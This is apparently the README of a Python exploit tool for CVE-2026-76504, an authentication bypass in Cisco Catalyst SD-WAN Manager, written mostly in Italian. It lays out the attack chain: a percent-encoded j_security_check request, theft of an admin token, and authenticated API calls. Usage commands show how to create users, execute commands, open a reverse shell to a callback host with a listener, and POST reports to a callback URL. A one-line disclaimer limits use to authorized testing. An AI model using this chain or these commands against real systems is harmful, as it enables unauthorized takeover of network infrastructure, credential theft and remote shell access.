Exploit in Python per CVE-2026-76504, un bypass dell'autenticazione di Cisco Catalyst SD-WAN Manager tramite j_security_check con codifica percentuale, con furto di token, chiamate API e reverse shell.
CVE-2026-76504 è un bypass critico dell'autenticazione (CVSS 9.8,
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H, CWE-177) in Cisco Catalyst SD-WAN
Manager (vManage). È elencato nel catalogo CISA KEV ed è stato
attivamente sfruttato in the wild da settembre 2026. Non esiste alcuna soluzione alternativa;
solo l'applicazione della patch elimina la vulnerabilità.
La causa principale è un'incoerenza nella normalizzazione degli URI tra il
middleware di autenticazione e il router delle richieste. La codifica percentuale di un singolo
carattere del percorso di login protetto j_security_check fa sì che la regola di autenticazione
veda un URI diverso (pulito) mentre il router risolve lo stesso URI (di login)
— così il server emette una sessione admin valida senza alcuna
credenziale valida.
Advisory: cisco-sa-sdwan-webauth-xr8beuuU
| Branch | Corretto in |
|---|---|
| 20.9.x | 20.9.10.1 |
| 20.12.x | 20.12.8.2 |
| 20.15.x | 20.15.6.1 |
| 20.18.x | 20.18.4.1 |
| 26.1.x | 26.1.2.1 |
| 26.2 | 26.2.1 |
step1 POST /%6a_security_check (%6a = percent-encoded 'j')
-> the auth rule is skipped, the request is mapped to a
'viptela-reserved-*' service account and a valid JSESSIONID
is returned.
step2 GET /dataservice/client/token (with the JSESSIONID cookie)
-> 128-char uppercase hex admin API token.
step3 authenticated admin API calls / command execution / reverse shell.
Follow-up requests send the session cookie plus the token in the
X-XSRF-TOKEN header (documented vManage API convention).
# Verify the target is vulnerable
python3 exploit.py -t https://10.0.0.1 --check
# Full chain, human-readable output
python3 exploit.py -t https://10.0.0.1 --recon
# Machine-readable JSON report
python3 exploit.py -t https://10.0.0.1 --json
# Authenticated follow-up API call (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# Execute a management command (repeatable)
python3 exploit.py -t https://10.0.0.1 \
--cmd 'show version'
# Reverse shell with a local interactive listener
python3 exploit.py -t https://10.0.0.1 \
--revshell --rs-host 10.0.0.2 --rs-port 4444 --listen
# Offline self-test against the built-in mock vManage
python3 exploit.py --selftest
| Opzione | Descrizione |
|---|---|
-t, --target | host o scheme://host[:port] (porta predefinita 443) |
--port | sovrascrive la porta |
--http | forza HTTP semplice |
--insecure | salta la verifica del certificato TLS |
--proxy | proxy forward http://host:port |
--timeout | timeout per richiesta in secondi (predefinito 10) |
-u, --user | valore del campo form j_username (predefinito admin; l'autenticazione viene aggirata) |
-p, --pass | valore del campo form j_password (predefinito admin; l'autenticazione viene aggirata) |
--enc-char | carattere di j_security_check da codificare in percentuale (predefinito j) |
--enc-style | codifica lower (predefinita), upper o double |
--token-url | endpoint del token admin (predefinito /dataservice/client/token) |
--skip-token | fermati dopo lo step1 (solo sessione) |
--check | solo verifica: step1, report, uscita |
--api SPEC | chiamata autenticata: `'METHOD PATH [json |
--cmd CMD | comando di gestione sotto la sessione rubata (ripetibile) |
--cmd-url | endpoint dei comandi (predefinito /dataservice/command) |
--cmd-field | chiave del payload JSON che trasporta il comando (predefinita command) |
--revshell | costruisce ed emette un comando reverse-shell |
--rs-impl | bash (predefinito), nc, python3, perl |
--rs-host/--rs-port | host/porta di callback della reverse-shell |
--listen | avvia un listener locale e inoltra la shell in modo interattivo |
--recon | sonda gli endpoint candidati con la sessione rubata |
--callback URL | invia il report JSON a un URL tramite POST |
--dump DIR | salva gli artefatti delle risposte in una directory |
--repeat N | ripete la catena N volte |
--reqid | invia X-Request-Id: <uuid4> (fedeltà IOC) |
--ua | User-Agent (predefinito Mozilla/5.0) |
-v, --verbose | mostra le richieste/risposte grezze |
--json | solo report leggibile da macchina |
--selftest | self-test offline tramite il mock integrato |
| Codice | Significato |
|---|---|
| 0 | bypass confermato |
| 1 | errore / errore di verifica |
| 2 | target irraggiungibile |
# Verify only (lowercase encoding)
python3 exploit.py -t 10.0.0.1 --port 8443 --check
# Uppercase / double encoding variants
python3 exploit.py -t https://10.0.0.1 --enc-style upper --check
python3 exploit.py -t https://10.0.0.1 --enc-style double --check
# Encode a different character of the path
python3 exploit.py -t https://10.0.0.1 --enc-char s --check
# Enumerate users via the stolen session
python3 exploit.py -t https://10.0.0.1 \
--api 'GET /dataservice/user/user'
# POST JSON payload
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/user {"userName":"x","password":"y"}'
# POST a payload from a file
python3 exploit.py -t https://10.0.0.1 \
--api 'POST /dataservice/setting @payload.json'
# Save artifacts and POST the report to a callback
python3 exploit.py -t https://10.0.0.1 \
--dump ./out --callback http://10.0.0.2:8000/report --json
# Through a forward proxy, ignoring TLS validation
python3 exploit.py -t https://10.0.0.1 \
--proxy http://127.0.0.1:8080 --insecure --check
Le credenziali predefinite (admin/admin) vengono utilizzate solo come valori dei campi del modulo; la regola di autenticazione stessa viene aggirata tramite il percorso codificato, quindi i valori delle credenziali non devono essere corretti su un target vulnerabile.
--check esegue solo lo step1 e segnala se è stato emesso un cookie di sessione. Non effettua ulteriori chiamate autenticate.
Lo strumento è un singolo file senza dipendenze, destinato esclusivamente a test di sicurezza e ricerca autorizzati. Utilizzalo solo contro sistemi che sei autorizzato a testare.